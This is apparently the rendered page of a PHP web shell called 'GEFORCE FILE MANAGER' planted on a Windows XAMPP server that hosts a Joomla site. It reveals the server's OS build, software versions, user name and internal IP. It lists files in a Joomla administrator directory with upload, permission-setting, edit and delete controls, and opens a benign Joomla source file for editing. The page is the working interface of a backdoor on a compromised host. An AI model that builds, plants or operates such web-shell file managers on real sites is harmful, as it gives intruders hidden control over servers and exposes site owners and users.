[ SYSTEM ]: Windows NT SWD-ELEARN-11 10.0 build 20348 (Windows Server 2016) AMD64
[ SERVER ]: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9 | PHP: 7.3.9
[ USER ]: Elearn | IP: 10.201.204.156
GEFORCE FILE MANAGER
/
C:
/
xampp
/
htdocs
/
Ajaji
/
administrator
/
components
/
com_associations
/
src
/
Field
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Modal
SET
[ DEL ]
📄 ItemlanguageField.php
3,747 B
SET
[ EDIT ]
|
[ DEL ]
📄 ItemtypeField.php
1,849 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: ItemtypeField.php
<?php /** * @package Joomla.Administrator * @subpackage com_associations * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Associations\Administrator\Field; use Joomla\CMS\Form\Field\GroupedlistField; use Joomla\CMS\HTML\HTMLHelper; use Joomla\Component\Associations\Administrator\Helper\AssociationsHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * A drop down containing all component item types that implement associations. * * @since 3.7.0 */ class ItemtypeField extends GroupedlistField { /** * The form field type. * * @var string * * @since 3.7.0 */ protected $type = 'Itemtype'; /** * Method to get the field input markup. * * @return array The field option objects as a nested array in groups. * * @since 3.7.0 * * @throws \UnexpectedValueException */ protected function getGroups() { $options = []; $extensions = AssociationsHelper::getSupportedExtensions(); foreach ($extensions as $extension) { if ($extension->get('associationssupport') === true) { foreach ($extension->get('types') as $type) { $context = $extension->get('component') . '.' . $type->get('name'); $options[$extension->get('title')][] = HTMLHelper::_('select.option', $context, $type->get('title')); } } } // Sort by alpha order. uksort($options, 'strnatcmp'); // Add options to parent array. return array_merge(parent::getGroups(), $options); } }